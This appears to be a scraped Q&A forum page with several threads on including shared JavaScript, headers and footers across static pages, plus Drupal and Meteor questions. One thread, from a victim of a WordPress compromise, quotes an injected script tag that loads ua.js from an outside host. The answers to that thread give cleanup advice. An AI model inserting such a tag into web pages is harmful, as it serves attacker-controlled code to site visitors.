I have a site with static pages html and a javascript file that displays an informational message on the page.
Is there a way to start the .js file in all pages without having to write the file .js on every page of the site? for example with htaccess or other system
I'm not talking about redirecting to another page but on the page.
I know little of .htaccess so if you enter the code examples .htaccess, try it, I'd be grateful.
I hope that at least in this forum there is someone who knows how to help me.
Thanks for the answers.
REPLY: I must only add <script type="text/javascript" src="info.js"> </script> before of </body> but, there are many hundreds of pages. Notepad ++ is simple, but I will take many days to edit them all manually. I was wondering if there was a faster solution.
It is possible with a server side scripting language. For example, in PHP, you can add do something like the following, but you'd have to put <?php include("header.php"); ?> in your files. But if you change things down the line, you would only have to edit a file once.
<html>
<head>
<title>Blah...</title>
<?php include("header.php"); ?>
</head>
....
With .htaccess, you may be able to rewrite every file to a script like PHP, which will then find the file, read it, and inject the header where it needs to go. (On a busy site, this would be a very inefficient solution).
My recommendation: Just use an editor like Notepad++ and do a quick find/replace on the entire directory to replace </body> with <script ...></body>. Would be a quick, and simple solution.
Perhaps you can instruct Apache to do some on the fly data manipulation which adds the include for that file to your code.
But if you are able to do this, you should not do this every time the page gets displayed. As you say the content is static, so why not download it, have a program do the adjustments and upload the content again ?
Depending on how the JS needs to be added the page this can be some easy trick with any open source text editor like notepad++.
Notepad++ allows you to automatically replace in files, call Ctrl+Shift+F or choose this from the menu:
Either way will open this dialog:
Then simply have </body> replaced with <script ...>...</script></body>.
If this is the first time you use this function, you should only work with a copy of your important data !
Related
I want to separate an html page into head, header, footer sort of stuff like that. And include them as I create a new page so that I won't have to update all pages if I change something in header or other parts of the included ones.
The problem is that I can do that easily with php support but the current server nginx(actually I don't really know what that means as a front-end dev) doesn't have that and won't do in the future. How can I accomplish that with pure html or with a little help of nginx?
You could use javascript includes.
For example if you were using jQuery…
page1.html
<div id="head"></div>
<script src="head.js"></script>
head.js
$('#head').html('<html goes here>');
If you don’t mind compiling before uploading you could use .kit files.
https://incident57.com/codekit/help.html#kit
And it’s not just for mac users…
Compile .kit files outside of Codekit
I have a problem with a drupal site I didn't designed and which I have to modify.
The theme is a subtheme of Omega theme.
The problem is that I modify the main.js file and uploaded it back to the site, I cleared the cache, but when i tried to reload the page the loaded js is still like the old one, and has the name:
main.js.pagespeed.jm.IModC23.js
I think there could be a javascript file optimization module somewhere..
I can't find a system to make the page load the new javascript. I even go to the Performance page a uncheck "Aggregate javascript file"
Maybe the solution is easy but I couldn't find it anywhere..
Thank you
It sounds like pagespeed is aggregating all your js.
To turn it off you can put:
ModPagespeed off
in your .htaccess file and then turn it on again when your done.
This answer is talking about the same thing.
The sourcecode of the app.html in a meteor app will look like this :
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/846a8d9499cc559cd36226c07803f069a9b314a4.css">
<script type="text/javascript" src="/bd418141a43a911de5fcb0fc9eef1599abd72874.js"></script>
<title>application title</title>
</head>
<body>
</body>
</html>
This is simple and nice. (you can add meta in the head part).
But what if I want to add a loader for the app ?
I use a few libraries and my main js is probably going to weight a little more than one mo. I cannot image display nothing while it's loading.
The easier way would be to write a few line of classic inline html. But when I write something in the html, it's inclueded in my templates.
How would you change the app.html ?
Short answer: You can't. As far as I'm aware, Meteor will always send down an empty <body> tag and fill it in via templates.
If you have so much code that the concatenated JavaScript is quite heavy, you can split parts of it off. See this question for some techniques on how to do so. Personally I try to load from CDN any libraries that I'm using "out of the box," like Bootstrap (not an option for jQuery, unfortunately). To load from CDN, just include a <head> block in one of your HTML files and link to the CDN-hosted library files like normal, and leave them out of your project. Another option is to use jQuery's $.getScript() to load specific scripts on demand only on the pages that need them.
But that just lessons the load of your concatenated JavaScript file, it still doesn't really answer your question of having some HTML sent to the client immediately. To accomplish that, the only method I'm aware of is to have some other Web server in front of Meteor. For example have an Apache or Nginx server listening on port 80 that sends down a simple HTML file that has your initial content, and also loads the two Meteor-generated concatenated .js and .css files. Meteor would either replace the contents of <body> on load, or you would need to write some JavaScript to do so so that it gets "handed off" to Meteor so that Meteor can start rendering its templates there. I doubt the handoff would be very smooth, unfortunately. Alternatively if your initial page is more of a splash page, for example a simple login form, it could exist by itself served by Apache/Nginx and then on submit the user moves into the Meteor-served world. While the user is filling in the form the concatenated .css file (if not both the .css and .js files, or the .css file and any CDN-served or non-concatenated .js files) could be downloading in the background and getting cached. To be honest though I'm not sure it's worth all this effort, it adds a lot of complexity for what's probably only a very slight speed improvement (and even then, only on the initial load of the home page).
It appears there is a new exploit/hack going around where a Wordpress plugin is writing a .js file before every closing </head> tags in every Wordpress installation's .php files on my server. It's writing this code before every closing head tag:
<script language="JavaScript" src="http://abtt.tv/modules/mod_servises/ua.js" type="text/javascript"></script>
My question is, how would I go about finding which files are writing code to others? That way I can find which plugin it is doing it, as I have several installations of WP in subdomains that are infected, and no idea of which one it's coming from! I'm sure there has to be a way to monitor this, whether it be my hosting company doing it or me.
If your site has been compromised, your better of by restoring a backup, but if you dont have one you're probably better of with a clean installation. But if you still wanna try to "fix" it, there are some files you could check for starters, the header theme file, the function file and all the plugin files to ensure its not enqued in a plugin to run.
the function you should be searching for is called wp_enqueue_script
I am always rewriting my headers and footers and for every edit i have to manually copy and paste all the code into the web pages. Obviously this is the wrong approach but im not sure of the right one. My current idea is to have a "header" and "footer" div and then with jquery's $(document).ready load the divs with code. Im afraid it will be slow though because it waits for the whole page to render before executing the header/footer code. What is a common way to handle this problem?
Sounds like you need some server-side technology. Which one (of the many options) you choose is up to you and your hosting. Most likely, your hosting will support PHP and SSI (Server-side includes).
In the simplest setup, basically put the common code into individual files, let's say header.inc and footer.inc. It doesn't matter what the name or extension of these files are.
For PHP, your pages should now be *.php instead of *.html and you need to write this code:
<?php include('header.inc'); ?>
<p>
Here is your regular document.
</p>
<?php include('footer.inc'); ?>
For SSI, you don't have to change the names of your files, and your code would look like this:
<!--#include virtual="header.inc" -->
<p>
Here is your regular document.
</p>
<!--#include virtual="footer.inc" -->
You definitely don't want to do this with Javascript. First off, the header and footer won't load until the Javascript executes, but more important, anyone without Javascript enabled won't see them at all (and requiring Javascript to view a static page doesn't make sense).
There are two easy methods to do this:
1) Use a server-side language like php to include the footers:
<?php
include('header.html');
?>
The rest of the page goes here
<?php
include('footer.html');
?>
2) Use a build/deploy process that generates static pages. This would be similar to 1) but it would only be done once per build, rather than every time someone hits the page.
Commonly, there's some server-side templating technology in use, such as PHP, JSP or XSL. Creating reusable pieces of code which can be linked is fairly simple using one of these approaches.
For a pure HTML + JS approach, you could use an IFRAME to link to a standalone header and footer HTML file. That would allow you to keep all the header and footer information in one place, only needing to update it once.
Common way is to use server side language like PHP. Or if you need only footer and header include you can use SSI
Use HTML or PHP includes.